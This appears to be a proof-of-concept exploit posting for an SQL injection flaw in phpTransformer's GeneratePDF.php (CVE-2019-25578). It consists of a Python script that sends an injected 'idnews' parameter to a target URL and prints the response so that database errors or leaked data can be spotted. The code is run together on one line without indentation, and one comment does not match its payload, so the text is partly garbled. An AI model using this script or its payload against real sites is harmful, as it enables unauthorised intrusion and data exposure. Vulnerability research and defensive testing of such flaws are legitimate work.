CVE-2019-25578 phpTransformer SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ Proof of Concept for CVE-2019-25578 Tests for SQL Injection in idnews parameter of GeneratePDF.php """ # Payload to test SQL injection syntax error payload = "?idnews=1' AND 1=1-- -" try: # Sending GET request to the vulnerable endpoint response = requests.get(target_url + payload, timeout=10) # Analyzing response (Logic depends on application behavior) if response.status_code == 200: print(f"[+] Request sent to {target_url + payload}") print(f"[+] Response Status: {response.status_code}") print("[+] Check response content manually for database errors or data leakage.") print(response.text[:200]) # Print snippet of response else: print(f"[-] Target returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL url = "http://example.com/GeneratePDF.php" check_sqli_vuln(url)